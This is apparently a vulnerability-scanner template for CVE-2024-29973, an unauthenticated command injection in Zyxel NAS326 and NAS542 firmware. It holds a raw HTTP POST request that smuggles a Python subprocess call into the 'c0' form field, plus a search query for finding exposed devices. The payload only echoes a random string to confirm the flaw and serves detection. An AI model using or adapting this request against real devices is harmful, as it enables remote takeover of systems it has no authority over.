Zyxel NAS326 Firmware < V5.21(AAZF.17)C0 - Command Injection

id: CVE-2024-29973

info:
  name: Zyxel NAS326 Firmware < V5.21(AAZF.17)C0 - Command Injection
  author: ritikchaddha
  severity: critical
  description: |
    The command injection vulnerability in the “setCookie” parameter in Zyxel NAS326 firmware versions before V5.21(AAZF.17)C0 and NAS542 firmware versions before V5.21(ABAG.14)C0 could allow an unauthenticated attacker to execute some operating system (OS) commands by sending a crafted HTTP POST request.
  impact: |
    Attackers can execute arbitrary OS commands on the NAS device, leading to complete compromise.
  remediation: |
    Update Zyxel NAS326 firmware to a version that patches the command injection vulnerability.
  reference:
    - https://outpost24.com/blog/zyxel-nas-critical-vulnerabilities/
    - https://x.com/sirifu4k1/status/1803267896656929099/photo/1
    - https://nvd.nist.gov/vuln/detail/CVE-2024-29973
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.88
    cve-id: CVE-2024-29973
    cwe-id: CWE-78
    epss-score: 0.86205
    epss-percentile: 0.99735
    cpe: cpe:2.3:o:zyxel:nas326_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: zyxel
    product: nas326_firmware
    fofa-query: app="ZYXEL-NAS326"
  tags: cve,cve2024,zyxel,rce,intrusive,vkev,vuln
variables:
  string: "{{randstr}}"

http:
  - raw:
      - |
        POST /cmd,/simZysh/register_main/setCookie HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei

        ------WebKitFormBoundarygcflwtei
        Content-Disposition: form-data; name="c0"

        storage_ext_cgi CGIGetExtStoInfo None) and False or __import__("subprocess").check_output("echo {{string}}", shell=True)#
        ------WebKitFormBoundarygcflwtei--

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, 'errmsg0\": \"OK')"
          - "contains(header, 'application/json')"
          - "contains(body, '{{string}}')"
        condition: and
# digest: 490a00463044022039f1396b110399a05d0a0cee57fd0cdf9dc85eba75d6c5df773509033bab0677022018c915bd4439ce1eda5f80e98067f7251f54db7e911951d0f8d4b5e86eb3ab09:922c64590222798bb761d5b6d8e72950